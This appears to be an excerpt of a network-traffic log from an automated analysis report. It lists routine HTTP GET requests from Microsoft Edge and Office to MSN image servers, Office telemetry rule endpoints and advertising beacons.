Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730326302775&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C762142180C6CEE0191346A19FD6D49&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1C762142180C6CEE0191346A19FD6D49&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ca10d9288ccc49629b2041991ff2a728 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1C762142180C6CEE0191346A19FD6D49; _EDGE_S=F=1&SID=0F328B97E1F4652514759EBFE0BC648E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730326302775&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bdbfca09c35c44b88acb5eaa3021a39c&activityId=bdbfca09c35c44b88acb5eaa3021a39c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1C762142180C6CEE0191346A19FD6D49; _EDGE_S=F=1&SID=0F328B97E1F4652514759EBFE0BC648E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730326302775&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C762142180C6CEE0191346A19FD6D49&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1F04a65494b8568eb75cbf91730326304; XID=1F04a65494b8568eb75cbf91730326304
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730326302775&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bdbfca09c35c44b88acb5eaa3021a39c&activityId=bdbfca09c35c44b88acb5eaa3021a39c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1F727EBF839C45AAB6D3749B41308685&MUID=1C762142180C6CEE0191346A19FD6D49 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1C762142180C6CEE0191346A19FD6D49; _EDGE_S=F=1&SID=0F328B97E1F4652514759EBFE0BC648E; _EDGE_V=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
